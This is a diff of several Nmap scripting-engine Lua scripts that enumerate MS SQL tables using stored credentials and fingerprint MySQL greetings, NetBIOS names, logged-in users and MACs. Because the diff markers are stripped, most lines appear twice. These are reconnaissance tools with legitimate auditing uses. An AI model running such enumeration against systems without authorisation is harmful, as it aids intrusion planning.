||||
|
||||
if ( DB_COUNT <= 0 ) then
|
||||
db_limit = ""
|
||||
else
|
||||
db_limit = string.format( "TOP %d", DB_COUNT )
|
||||
end
|
||||
if (TABLE_COUNT <= 0 ) then
|
||||
tbl_limit = ""
|
||||
else
|
||||
tbl_limit = string.format( "TOP %d", TABLE_COUNT )
|
||||
end
|
||||
if ( DB_COUNT <= 0 ) then
|
||||
db_limit = ""
|
||||
else
|
||||
db_limit = string.format( "TOP %d", DB_COUNT )
|
||||
end
|
||||
if (TABLE_COUNT <= 0 ) then
|
||||
tbl_limit = ""
|
||||
else
|
||||
tbl_limit = string.format( "TOP %d", TABLE_COUNT )
|
||||
end
|
||||
|
||||
-- Build the keyword filter
|
||||
if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
|
||||
local keywords = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
|
||||
local tmp_tbl = {}
|
||||
-- Build the keyword filter
|
||||
if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
|
||||
local keywords = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
|
||||
local tmp_tbl = {}
|
||||
|
||||
if( type(keywords) == 'string' ) then
|
||||
keywords = { keywords }
|
||||
end
|
||||
if( type(keywords) == 'string' ) then
|
||||
keywords = { keywords }
|
||||
end
|
||||
|
||||
for _, v in ipairs(keywords) do
|
||||
table.insert(tmp_tbl, ("'%s'"):format(v))
|
||||
end
|
||||
for _, v in ipairs(keywords) do
|
||||
table.insert(tmp_tbl, ("'%s'"):format(v))
|
||||
end
|
||||
|
||||
keywords_filter = (" AND ( so.name IN (%s) or sc.name IN (%s) ) "):format(
|
||||
stdnse.strjoin(",", tmp_tbl),
|
||||
stdnse.strjoin(",", tmp_tbl)
|
||||
)
|
||||
end
|
||||
keywords_filter = (" AND ( so.name IN (%s) or sc.name IN (%s) ) "):format(
|
||||
stdnse.strjoin(",", tmp_tbl),
|
||||
stdnse.strjoin(",", tmp_tbl)
|
||||
)
|
||||
end
|
||||
|
||||
db_query = ("SELECT %s name from master..sysdatabases WHERE name NOT IN (%s)"):format(db_limit, stdnse.strjoin(",", exclude_dbs))
|
||||
db_query = ("SELECT %s name from master..sysdatabases WHERE name NOT IN (%s)"):format(db_limit, stdnse.strjoin(",", exclude_dbs))
|
||||
|
||||
|
||||
local creds = mssql.Helper.GetLoginCredentials_All( instance )
|
||||
if ( not creds ) then
|
||||
output = "ERROR: No login credentials."
|
||||
else
|
||||
for username, password in pairs( creds ) do
|
||||
local helper = mssql.Helper:new()
|
||||
status, result = helper:ConnectEx( instance )
|
||||
if ( not(status) ) then
|
||||
table.insert(output, "ERROR: " .. result)
|
||||
break
|
||||
end
|
||||
local creds = mssql.Helper.GetLoginCredentials_All( instance )
|
||||
if ( not creds ) then
|
||||
output = "ERROR: No login credentials."
|
||||
else
|
||||
for username, password in pairs( creds ) do
|
||||
local helper = mssql.Helper:new()
|
||||
status, result = helper:ConnectEx( instance )
|
||||
if ( not(status) ) then
|
||||
table.insert(output, "ERROR: " .. result)
|
||||
break
|
||||
end
|
||||
|
||||
if ( status ) then
|
||||
status = helper:Login( username, password, nil, instance.host.ip )
|
||||
end
|
||||
if ( status ) then
|
||||
status = helper:Login( username, password, nil, instance.host.ip )
|
||||
end
|
||||
|
||||
if ( status ) then
|
||||
status, dbs = helper:Query( db_query )
|
||||
end
|
||||
if ( status ) then
|
||||
status, dbs = helper:Query( db_query )
|
||||
end
|
||||
|
||||
if ( status ) then
|
||||
-- all done?
|
||||
if ( #done_dbs == #dbs.rows ) then
|
||||
break
|
||||
end
|
||||
if ( status ) then
|
||||
-- all done?
|
||||
if ( #done_dbs == #dbs.rows ) then
|
||||
break
|
||||
end
|
||||
|
||||
for k, v in pairs(dbs.rows) do
|
||||
if ( not( stdnse.contains( done_dbs, v[1] ) ) ) then
|
||||
local query = [[ SELECT so.name 'table', sc.name 'column', st.name 'type', sc.length
|
||||
FROM %s..syscolumns sc, %s..sysobjects so, %s..systypes st
|
||||
WHERE so.id = sc.id AND sc.xtype=st.xtype AND
|
||||
so.id IN (SELECT %s id FROM %s..sysobjects WHERE xtype='U') %s ORDER BY so.name, sc.name, st.name]]
|
||||
query = query:format( v[1], v[1], v[1], tbl_limit, v[1], keywords_filter)
|
||||
status, tables = helper:Query( query )
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(tables)
|
||||
else
|
||||
local item = {}
|
||||
item = mssql.Util.FormatOutputTable( tables, true )
|
||||
if ( #item == 0 and keywords_filter ~= "" ) then
|
||||
table.insert(item, "Filter returned no matches")
|
||||
end
|
||||
item.name = v[1]
|
||||
for k, v in pairs(dbs.rows) do
|
||||
if ( not( stdnse.contains( done_dbs, v[1] ) ) ) then
|
||||
local query = [[ SELECT so.name 'table', sc.name 'column', st.name 'type', sc.length
|
||||
FROM %s..syscolumns sc, %s..sysobjects so, %s..systypes st
|
||||
WHERE so.id = sc.id AND sc.xtype=st.xtype AND
|
||||
so.id IN (SELECT %s id FROM %s..sysobjects WHERE xtype='U') %s ORDER BY so.name, sc.name, st.name]]
|
||||
query = query:format( v[1], v[1], v[1], tbl_limit, v[1], keywords_filter)
|
||||
status, tables = helper:Query( query )
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(tables)
|
||||
else
|
||||
local item = {}
|
||||
item = mssql.Util.FormatOutputTable( tables, true )
|
||||
if ( #item == 0 and keywords_filter ~= "" ) then
|
||||
table.insert(item, "Filter returned no matches")
|
||||
end
|
||||
item.name = v[1]
|
||||
|
||||
table.insert(output, item)
|
||||
table.insert(done_dbs, v[1])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
helper:Disconnect()
|
||||
end
|
||||
table.insert(output, item)
|
||||
table.insert(done_dbs, v[1])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
helper:Disconnect()
|
||||
end
|
||||
|
||||
local pos = 1
|
||||
local restrict_tbl = {}
|
||||
local pos = 1
|
||||
local restrict_tbl = {}
|
||||
|
||||
if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
|
||||
local tmp = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
|
||||
if ( type(tmp) == 'table' ) then
|
||||
tmp = stdnse.strjoin(',', tmp)
|
||||
end
|
||||
table.insert(restrict_tbl, 1, ("Filter: %s"):format(tmp))
|
||||
pos = pos + 1
|
||||
else
|
||||
table.insert(restrict_tbl, 1, "No filter (see ms-sql-tables.keywords)")
|
||||
end
|
||||
if ( stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } ) ) then
|
||||
local tmp = stdnse.get_script_args( {'ms-sql-tables.keywords', 'mssql-tables.keywords' } )
|
||||
if ( type(tmp) == 'table' ) then
|
||||
tmp = stdnse.strjoin(',', tmp)
|
||||
end
|
||||
table.insert(restrict_tbl, 1, ("Filter: %s"):format(tmp))
|
||||
pos = pos + 1
|
||||
else
|
||||
table.insert(restrict_tbl, 1, "No filter (see ms-sql-tables.keywords)")
|
||||
end
|
||||
|
||||
if ( DB_COUNT > 0 ) then
|
||||
local tmp = ("Output restricted to %d databases"):format(DB_COUNT)
|
||||
if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxdb', 'mssql-tables.maxdb' } ) ) ) then
|
||||
tmp = tmp .. " (see ms-sql-tables.maxdb)"
|
||||
end
|
||||
table.insert(restrict_tbl, 1, tmp)
|
||||
pos = pos + 1
|
||||
end
|
||||
if ( DB_COUNT > 0 ) then
|
||||
local tmp = ("Output restricted to %d databases"):format(DB_COUNT)
|
||||
if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxdb', 'mssql-tables.maxdb' } ) ) ) then
|
||||
tmp = tmp .. " (see ms-sql-tables.maxdb)"
|
||||
end
|
||||
table.insert(restrict_tbl, 1, tmp)
|
||||
pos = pos + 1
|
||||
end
|
||||
|
||||
if ( TABLE_COUNT > 0 ) then
|
||||
local tmp = ("Output restricted to %d tables"):format(TABLE_COUNT)
|
||||
if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) ) then
|
||||
tmp = tmp .. " (see ms-sql-tables.maxtables)"
|
||||
end
|
||||
table.insert(restrict_tbl, 1, tmp)
|
||||
pos = pos + 1
|
||||
end
|
||||
if ( TABLE_COUNT > 0 ) then
|
||||
local tmp = ("Output restricted to %d tables"):format(TABLE_COUNT)
|
||||
if ( not(stdnse.get_script_args( { 'ms-sql-tables.maxtables', 'mssql-tables.maxtables' } ) ) ) then
|
||||
tmp = tmp .. " (see ms-sql-tables.maxtables)"
|
||||
end
|
||||
table.insert(restrict_tbl, 1, tmp)
|
||||
pos = pos + 1
|
||||
end
|
||||
|
||||
if ( 1 < pos and type( output ) == "table" and #output > 0) then
|
||||
restrict_tbl.name = "Restrictions"
|
||||
table.insert(output, "")
|
||||
table.insert(output, restrict_tbl)
|
||||
end
|
||||
end
|
||||
if ( 1 < pos and type( output ) == "table" and #output > 0) then
|
||||
restrict_tbl.name = "Restrictions"
|
||||
table.insert(output, "")
|
||||
table.insert(output, restrict_tbl)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
table.insert( instanceOutput, output )
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
table.insert( instanceOutput, output )
|
||||
|
||||
return instanceOutput
|
||||
return instanceOutput
|
||||
|
||||
end
|
||||
|
||||
|
||||
action = function( host, port )
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local instanceOutput = process_instance( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local instanceOutput = process_instance( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
end
|
||||
|
||||
@@ -40,169 +40,169 @@ end
|
||||
--@param num Start of the two bytes
|
||||
--@return The converted number
|
||||
local ntohs = function(num)
|
||||
local b1 = bit.band(num:byte(1), 255)
|
||||
local b2 = bit.band(num:byte(2), 255)
|
||||
local b1 = bit.band(num:byte(1), 255)
|
||||
local b2 = bit.band(num:byte(2), 255)
|
||||
|
||||
return bit.bor(b1, bit.lshift(b2, 8))
|
||||
return bit.bor(b1, bit.lshift(b2, 8))
|
||||
end
|
||||
|
||||
--- Converts three bytes into a number
|
||||
--@param num Start of the three bytes
|
||||
--@return The converted number
|
||||
local ntoh3 = function(num)
|
||||
local b1 = bit.band(num:byte(1), 255)
|
||||
local b2 = bit.band(num:byte(2), 255)
|
||||
local b3 = bit.band(num:byte(3), 255)
|
||||
local b1 = bit.band(num:byte(1), 255)
|
||||
local b2 = bit.band(num:byte(2), 255)
|
||||
local b3 = bit.band(num:byte(3), 255)
|
||||
|
||||
return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16))
|
||||
return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16))
|
||||
end
|
||||
|
||||
--- Converts four bytes into a number
|
||||
--@param num Start of the four bytes
|
||||
--@return The converted number
|
||||
local ntohl = function(num)
|
||||
local b1 = bit.band(num:byte(1), 255)
|
||||
local b2 = bit.band(num:byte(2), 255)
|
||||
local b3 = bit.band(num:byte(3), 255)
|
||||
local b4 = bit.band(num:byte(4), 255)
|
||||
local b1 = bit.band(num:byte(1), 255)
|
||||
local b2 = bit.band(num:byte(2), 255)
|
||||
local b3 = bit.band(num:byte(3), 255)
|
||||
local b4 = bit.band(num:byte(4), 255)
|
||||
|
||||
return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16), bit.lshift(b4, 24))
|
||||
return bit.bor(b1, bit.lshift(b2, 8), bit.lshift(b3, 16), bit.lshift(b4, 24))
|
||||
end
|
||||
|
||||
--- Converts a number to a string description of the capabilities
|
||||
--@param num Start of the capabilities data
|
||||
--@return String describing the capabilities offered
|
||||
local capabilities = function(num)
|
||||
local caps = ""
|
||||
local caps = ""
|
||||
|
||||
if bit.band(num, 1) > 0 then
|
||||
caps = caps .. "Long Passwords, "
|
||||
end
|
||||
if bit.band(num, 1) > 0 then
|
||||
caps = caps .. "Long Passwords, "
|
||||
end
|
||||
|
||||
if bit.band(num, 8) > 0 then
|
||||
caps = caps .. "Connect with DB, "
|
||||
end
|
||||
if bit.band(num, 8) > 0 then
|
||||
caps = caps .. "Connect with DB, "
|
||||
end
|
||||
|
||||
if bit.band(num, 32) > 0 then
|
||||
caps = caps .. "Compress, "
|
||||
end
|
||||
if bit.band(num, 32) > 0 then
|
||||
caps = caps .. "Compress, "
|
||||
end
|
||||
|
||||
if bit.band(num, 64) > 0 then
|
||||
caps = caps .. "ODBC, "
|
||||
end
|
||||
if bit.band(num, 64) > 0 then
|
||||
caps = caps .. "ODBC, "
|
||||
end
|
||||
|
||||
if bit.band(num, 2048) > 0 then
|
||||
caps = caps .. "SSL, "
|
||||
end
|
||||
if bit.band(num, 2048) > 0 then
|
||||
caps = caps .. "SSL, "
|
||||
end
|
||||
|
||||
if bit.band(num, 8192) > 0 then
|
||||
caps = caps .. "Transactions, "
|
||||
end
|
||||
if bit.band(num, 8192) > 0 then
|
||||
caps = caps .. "Transactions, "
|
||||
end
|
||||
|
||||
if bit.band(num, 32768) > 0 then
|
||||
caps = caps .. "Secure Connection, "
|
||||
end
|
||||
if bit.band(num, 32768) > 0 then
|
||||
caps = caps .. "Secure Connection, "
|
||||
end
|
||||
|
||||
return caps:gsub(", $", "")
|
||||
return caps:gsub(", $", "")
|
||||
end
|
||||
|
||||
portrule = function(host, port)
|
||||
local extra = port.version.extrainfo
|
||||
local extra = port.version.extrainfo
|
||||
|
||||
return (port.number == 3306 or port.service == "mysql")
|
||||
and port.protocol == "tcp"
|
||||
and port.state == "open"
|
||||
and not (extra ~= nil
|
||||
and (extra:match("[Uu]nauthorized")
|
||||
or extra:match("[Tt]oo many connection")))
|
||||
return (port.number == 3306 or port.service == "mysql")
|
||||
and port.protocol == "tcp"
|
||||
and port.state == "open"
|
||||
and not (extra ~= nil
|
||||
and (extra:match("[Uu]nauthorized")
|
||||
or extra:match("[Tt]oo many connection")))
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local output = ""
|
||||
local output = ""
|
||||
|
||||
local status, response = comm.get_banner(host, port, {timeout=5000})
|
||||
local status, response = comm.get_banner(host, port, {timeout=5000})
|
||||
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
|
||||
local length = ntoh3(response:sub(1, 3))
|
||||
local length = ntoh3(response:sub(1, 3))
|
||||
|
||||
if length ~= response:len() - 4 then
|
||||
return "Invalid greeting (Not MySQL?)"
|
||||
end
|
||||
if length ~= response:len() - 4 then
|
||||
return "Invalid greeting (Not MySQL?)"
|
||||
end
|
||||
|
||||
-- Keeps track of where we are in the binary data
|
||||
local offset = 1 + 4
|
||||
-- Keeps track of where we are in the binary data
|
||||
local offset = 1 + 4
|
||||
|
||||
local protocol = response:byte(offset)
|
||||
local protocol = response:byte(offset)
|
||||
|
||||
offset = offset + 1
|
||||
offset = offset + 1
|
||||
|
||||
-- If a 0xff is here instead of the protocol, an error occurred.
|
||||
-- Pass it along to the user..
|
||||
if (protocol == 255) then
|
||||
output = "MySQL Error detected!\n"
|
||||
-- If a 0xff is here instead of the protocol, an error occurred.
|
||||
-- Pass it along to the user..
|
||||
if (protocol == 255) then
|
||||
output = "MySQL Error detected!\n"
|
||||
|
||||
local sqlerrno = ntohs(response:sub(offset, offset + 2))
|
||||
local sqlerrno = ntohs(response:sub(offset, offset + 2))
|
||||
|
||||
offset = offset + 2
|
||||
offset = offset + 2
|
||||
|
||||
local sqlerrstr = response:sub(offset)
|
||||
local sqlerrstr = response:sub(offset)
|
||||
|
||||
output = output .. "Error Code was: " .. sqlerrno .. "\n"
|
||||
output = output .. "Error Code was: " .. sqlerrno .. "\n"
|
||||
|
||||
output = output .. sqlerrstr
|
||||
output = output .. sqlerrstr
|
||||
|
||||
return output
|
||||
end
|
||||
return output
|
||||
end
|
||||
|
||||
local version = getstring(response:sub(offset))
|
||||
local version = getstring(response:sub(offset))
|
||||
|
||||
offset = offset + version:len() + 1
|
||||
offset = offset + version:len() + 1
|
||||
|
||||
local threadid = ntohl(response:sub(offset, offset + 4))
|
||||
local threadid = ntohl(response:sub(offset, offset + 4))
|
||||
|
||||
offset = offset + 4
|
||||
offset = offset + 4
|
||||
|
||||
local salt = getstring(response:sub(offset))
|
||||
local salt = getstring(response:sub(offset))
|
||||
|
||||
offset = offset + salt:len() + 1
|
||||
offset = offset + salt:len() + 1
|
||||
|
||||
local caps = capabilities(ntohs(response:sub(offset, offset + 2)))
|
||||
local caps = capabilities(ntohs(response:sub(offset, offset + 2)))
|
||||
|
||||
offset = offset + 2
|
||||
offset = offset + 2
|
||||
|
||||
offset = offset + 1
|
||||
offset = offset + 1
|
||||
|
||||
local status = ""
|
||||
local status = ""
|
||||
|
||||
if ntohs(response:sub(offset, offset + 2)) == 2 then
|
||||
status = "Autocommit"
|
||||
end
|
||||
if ntohs(response:sub(offset, offset + 2)) == 2 then
|
||||
status = "Autocommit"
|
||||
end
|
||||
|
||||
offset = offset + 2
|
||||
offset = offset + 2
|
||||
|
||||
offset = offset + 13 -- unused
|
||||
offset = offset + 13 -- unused
|
||||
|
||||
if response:len() - offset + 1 == 13 then
|
||||
salt = salt .. getstring(response:sub(offset))
|
||||
end
|
||||
if response:len() - offset + 1 == 13 then
|
||||
salt = salt .. getstring(response:sub(offset))
|
||||
end
|
||||
|
||||
output = output .. "Protocol: " .. protocol .. "\n"
|
||||
output = output .. "Version: " .. version .. "\n"
|
||||
output = output .. "Thread ID: " .. threadid .. "\n"
|
||||
output = output .. "Protocol: " .. protocol .. "\n"
|
||||
output = output .. "Version: " .. version .. "\n"
|
||||
output = output .. "Thread ID: " .. threadid .. "\n"
|
||||
|
||||
if caps:len() > 0 then
|
||||
output = output .. "Some Capabilities: " .. caps .. "\n"
|
||||
end
|
||||
if caps:len() > 0 then
|
||||
output = output .. "Some Capabilities: " .. caps .. "\n"
|
||||
end
|
||||
|
||||
if status:len() > 0 then
|
||||
output = output .. "Status: " .. status .. "\n"
|
||||
end
|
||||
if status:len() > 0 then
|
||||
output = output .. "Status: " .. status .. "\n"
|
||||
end
|
||||
|
||||
output = output .. "Salt: " .. salt .. "\n"
|
||||
output = output .. "Salt: " .. salt .. "\n"
|
||||
|
||||
return output
|
||||
return output
|
||||
end
|
||||
|
||||
|
||||
@@ -87,155 +87,155 @@ categories = {"default", "discovery", "safe"}
|
||||
|
||||
hostrule = function(host)
|
||||
|
||||
-- The following is an attempt to only run this script against hosts
|
||||
-- that will probably respond to a UDP 137 probe. One might argue
|
||||
-- that sending a single UDP packet and waiting for a response is no
|
||||
-- big deal and that it should be done for every host. In that case
|
||||
-- simply change this rule to always return true.
|
||||
-- The following is an attempt to only run this script against hosts
|
||||
-- that will probably respond to a UDP 137 probe. One might argue
|
||||
-- that sending a single UDP packet and waiting for a response is no
|
||||
-- big deal and that it should be done for every host. In that case
|
||||
-- simply change this rule to always return true.
|
||||
|
||||
local port_t135 = nmap.get_port_state(host,
|
||||
{number=135, protocol="tcp"})
|
||||
local port_t139 = nmap.get_port_state(host,
|
||||
{number=139, protocol="tcp"})
|
||||
local port_t445 = nmap.get_port_state(host,
|
||||
{number=445, protocol="tcp"})
|
||||
local port_u137 = nmap.get_port_state(host,
|
||||
{number=137, protocol="udp"})
|
||||
local port_t135 = nmap.get_port_state(host,
|
||||
{number=135, protocol="tcp"})
|
||||
local port_t139 = nmap.get_port_state(host,
|
||||
{number=139, protocol="tcp"})
|
||||
local port_t445 = nmap.get_port_state(host,
|
||||
{number=445, protocol="tcp"})
|
||||
local port_u137 = nmap.get_port_state(host,
|
||||
{number=137, protocol="udp"})
|
||||
|
||||
return (port_t135 ~= nil and port_t135.state == "open") or
|
||||
(port_t139 ~= nil and port_t139.state == "open") or
|
||||
(port_t445 ~= nil and port_t445.state == "open") or
|
||||
(port_u137 ~= nil and
|
||||
(port_u137.state == "open" or
|
||||
port_u137.state == "open|filtered"))
|
||||
return (port_t135 ~= nil and port_t135.state == "open") or
|
||||
(port_t139 ~= nil and port_t139.state == "open") or
|
||||
(port_t445 ~= nil and port_t445.state == "open") or
|
||||
(port_u137 ~= nil and
|
||||
(port_u137.state == "open" or
|
||||
port_u137.state == "open|filtered"))
|
||||
end
|
||||
|
||||
|
||||
action = function(host)
|
||||
|
||||
local i
|
||||
local status
|
||||
local names, statistics
|
||||
local server_name, user_name
|
||||
local mac, prefix, manuf
|
||||
local response = {}
|
||||
local catch = function() return end
|
||||
local try = nmap.new_try(catch)
|
||||
local i
|
||||
local status
|
||||
local names, statistics
|
||||
local server_name, user_name
|
||||
local mac, prefix, manuf
|
||||
local response = {}
|
||||
local catch = function() return end
|
||||
local try = nmap.new_try(catch)
|
||||
|
||||
|
||||
-- Get the list of NetBIOS names
|
||||
status, names, statistics = netbios.do_nbstat(host)
|
||||
status, names, statistics = netbios.do_nbstat(host)
|
||||
status, names, statistics = netbios.do_nbstat(host)
|
||||
status, names, statistics = netbios.do_nbstat(host)
|
||||
if(status == false) then
|
||||
return stdnse.format_output(false, names)
|
||||
end
|
||||
-- Get the list of NetBIOS names
|
||||
status, names, statistics = netbios.do_nbstat(host)
|
||||
status, names, statistics = netbios.do_nbstat(host)
|
||||
status, names, statistics = netbios.do_nbstat(host)
|
||||
status, names, statistics = netbios.do_nbstat(host)
|
||||
if(status == false) then
|
||||
return stdnse.format_output(false, names)
|
||||
end
|
||||
|
||||
-- Get the server name
|
||||
status, server_name = netbios.get_server_name(host, names)
|
||||
if(status == false) then
|
||||
return stdnse.format_output(false, server_name)
|
||||
end
|
||||
-- Get the server name
|
||||
status, server_name = netbios.get_server_name(host, names)
|
||||
if(status == false) then
|
||||
return stdnse.format_output(false, server_name)
|
||||
end
|
||||
|
||||
-- Get the logged in user
|
||||
status, user_name = netbios.get_user_name(host, names)
|
||||
if(status == false) then
|
||||
return stdnse.format_output(false, user_name)
|
||||
end
|
||||
-- Get the logged in user
|
||||
status, user_name = netbios.get_user_name(host, names)
|
||||
if(status == false) then
|
||||
return stdnse.format_output(false, user_name)
|
||||
end
|
||||
|
||||
local mac_prefixes = try(datafiles.parse_mac_prefixes())
|
||||
|
||||
-- Format the Mac address in the standard way
|
||||
if(#statistics >= 6) then
|
||||
-- MAC prefixes are matched on the first three bytes, all uppercase
|
||||
prefix = string.upper(string.format("%02x%02x%02x", statistics:byte(1), statistics:byte(2), statistics:byte(3)))
|
||||
mac = {
|
||||
address = ("%02x:%02x:%02x:%02x:%02x:%02x"):format( statistics:byte(1), statistics:byte(2), statistics:byte(3), statistics:byte(4), statistics:byte(5), statistics:byte(6) ),
|
||||
manuf = mac_prefixes[prefix] or "unknown"
|
||||
}
|
||||
host.registry['nbstat'] = {
|
||||
server_name = server_name,
|
||||
mac = mac.address
|
||||
}
|
||||
-- Samba doesn't set the Mac address, and nmap-mac-prefixes shows that as Xerox
|
||||
if(mac.address == "00:00:00:00:00:00") then
|
||||
mac.address = "<unknown>"
|
||||
mac.manuf = "unknown"
|
||||
end
|
||||
else
|
||||
mac = {
|
||||
address = "<unknown>",
|
||||
manuf = "unknown"
|
||||
}
|
||||
end
|
||||
setmetatable(mac, {
|
||||
-- MAC is formatted as "00:11:22:33:44:55 (Manufacturer)"
|
||||
__tostring=function(t) return string.format("%s (%s)", t.address, t.manuf) end
|
||||
})
|
||||
-- Format the Mac address in the standard way
|
||||
if(#statistics >= 6) then
|
||||
-- MAC prefixes are matched on the first three bytes, all uppercase
|
||||
prefix = string.upper(string.format("%02x%02x%02x", statistics:byte(1), statistics:byte(2), statistics:byte(3)))
|
||||
mac = {
|
||||
address = ("%02x:%02x:%02x:%02x:%02x:%02x"):format( statistics:byte(1), statistics:byte(2), statistics:byte(3), statistics:byte(4), statistics:byte(5), statistics:byte(6) ),
|
||||
manuf = mac_prefixes[prefix] or "unknown"
|
||||
}
|
||||
host.registry['nbstat'] = {
|
||||
server_name = server_name,
|
||||
mac = mac.address
|
||||
}
|
||||
-- Samba doesn't set the Mac address, and nmap-mac-prefixes shows that as Xerox
|
||||
if(mac.address == "00:00:00:00:00:00") then
|
||||
mac.address = "<unknown>"
|
||||
mac.manuf = "unknown"
|
||||
end
|
||||
else
|
||||
mac = {
|
||||
address = "<unknown>",
|
||||
manuf = "unknown"
|
||||
}
|
||||
end
|
||||
setmetatable(mac, {
|
||||
-- MAC is formatted as "00:11:22:33:44:55 (Manufacturer)"
|
||||
__tostring=function(t) return string.format("%s (%s)", t.address, t.manuf) end
|
||||
})
|
||||
|
||||
-- Check if we actually got a username
|
||||
if(user_name == nil) then
|
||||
user_name = "<unknown>"
|
||||
end
|
||||
-- Check if we actually got a username
|
||||
if(user_name == nil) then
|
||||
user_name = "<unknown>"
|
||||
end
|
||||
|
||||
response["server_name"] = server_name
|
||||
response["user"] = user_name
|
||||
response["mac"] = mac
|
||||
response["server_name"] = server_name
|
||||
response["user"] = user_name
|
||||
response["mac"] = mac
|
||||
|
||||
local names_output = {}
|
||||
for i = 1, #names, 1 do
|
||||
local name = names[i]
|
||||
setmetatable(name, {
|
||||
__tostring = function(t)
|
||||
-- Tabular format with padding
|
||||
return string.format("%s<%02x>%sFlags: %s",
|
||||
t['name'], t['suffix'],
|
||||
string.rep(" ", 17 - #t['name']),
|
||||
netbios.flags_to_string(t['flags']))
|
||||
end
|
||||
})
|
||||
table.insert(names_output, name)
|
||||
end
|
||||
setmetatable(names_output, {
|
||||
__tostring = function(t)
|
||||
local ret = {}
|
||||
for i,v in ipairs(t) do
|
||||
table.insert(ret, tostring(v))
|
||||
end
|
||||
-- Indent Names table by 2 spaces
|
||||
return " " .. table.concat(ret, "\n ")
|
||||
end
|
||||
})
|
||||
local names_output = {}
|
||||
for i = 1, #names, 1 do
|
||||
local name = names[i]
|
||||
setmetatable(name, {
|
||||
__tostring = function(t)
|
||||
-- Tabular format with padding
|
||||
return string.format("%s<%02x>%sFlags: %s",
|
||||
t['name'], t['suffix'],
|
||||
string.rep(" ", 17 - #t['name']),
|
||||
netbios.flags_to_string(t['flags']))
|
||||
end
|
||||
})
|
||||
table.insert(names_output, name)
|
||||
end
|
||||
setmetatable(names_output, {
|
||||
__tostring = function(t)
|
||||
local ret = {}
|
||||
for i,v in ipairs(t) do
|
||||
table.insert(ret, tostring(v))
|
||||
end
|
||||
-- Indent Names table by 2 spaces
|
||||
return " " .. table.concat(ret, "\n ")
|
||||
end
|
||||
})
|
||||
|
||||
response["names"] = names_output
|
||||
response["names"] = names_output
|
||||
|
||||
local statistics_output = {}
|
||||
for i = 1, #statistics, 16 do
|
||||
--Format statistics as space-separated hex bytes, 16 columns
|
||||
table.insert(statistics_output,
|
||||
stdnse.tohex(string.sub(statistics,i,i+16), {separator = " "})
|
||||
)
|
||||
end
|
||||
response["statistics"] = statistics_output
|
||||
local statistics_output = {}
|
||||
for i = 1, #statistics, 16 do
|
||||
--Format statistics as space-separated hex bytes, 16 columns
|
||||
table.insert(statistics_output,
|
||||
stdnse.tohex(string.sub(statistics,i,i+16), {separator = " "})
|
||||
)
|
||||
end
|
||||
response["statistics"] = statistics_output
|
||||
|
||||
setmetatable(response, {
|
||||
__tostring = function(t)
|
||||
-- Normal single-line result
|
||||
local ret = {string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s", t.server_name, t.user, t.mac)}
|
||||
-- If verbosity is set, dump the whole list of names
|
||||
if nmap.verbosity() >= 1 then
|
||||
table.insert(ret, string.format("Names:\n%s",t.names))
|
||||
-- If super verbosity is set, print out the full statistics
|
||||
if nmap.verbosity() >= 2 then
|
||||
-- Indent Statistics table by 2 spaces
|
||||
table.insert(ret, string.format("Statistics:\n %s",table.concat(t.statistics,"\n ")))
|
||||
end
|
||||
end
|
||||
return table.concat(ret, "\n")
|
||||
end
|
||||
})
|
||||
setmetatable(response, {
|
||||
__tostring = function(t)
|
||||
-- Normal single-line result
|
||||
local ret = {string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s", t.server_name, t.user, t.mac)}
|
||||
-- If verbosity is set, dump the whole list of names
|
||||
if nmap.verbosity() >= 1 then
|
||||
table.insert(ret, string.format("Names:\n%s",t.names))
|
||||
-- If super verbosity is set, print out the full statistics
|
||||
if nmap.verbosity() >= 2 then
|
||||
-- Indent Statistics table by 2 spaces
|
||||
table.insert(ret, string.format("Statistics:\n %s",table.concat(t.statistics,"\n ")))
|
||||
end
|
||||
end
|
||||
return table.concat(ret, "\n")
|
||||
end
|
||||
})
|
||||
|
||||
return response
|
||||
return response
|
||||
|
||||
end
|
||||
|
||||
@@ -39,214 +39,214 @@ categories = {"discovery", "intrusive"}
|
||||
|
||||
|
||||
local NRPE_PROTOCOLS = {
|
||||
"ssl",
|
||||
"tcp"
|
